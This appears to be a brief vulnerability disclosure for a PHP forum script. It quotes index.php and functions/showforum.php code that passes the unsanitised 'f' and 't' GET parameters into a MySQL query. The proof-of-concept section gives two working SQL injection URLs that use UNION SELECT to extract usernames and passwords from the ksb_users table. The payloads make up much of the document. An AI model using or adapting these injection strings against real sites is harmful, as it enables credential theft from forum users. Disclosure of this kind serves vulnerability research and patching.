source of index.php :

	[...]

	87.	if ($inc_function == "_showforum") {

	88.		if ($_GET[t] == "") {

	89.			$inc_function = "functions/showforum.php";

	90.		} else {

	91.			$inc_function = "functions/showtopic.php";

	[...]

source of functions/showforum.php :

	[...]

	9.	$forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]"));

	[...]

It looks the same for "t" variable ...

Proof of Concept :

	"f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users--
	"t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users--
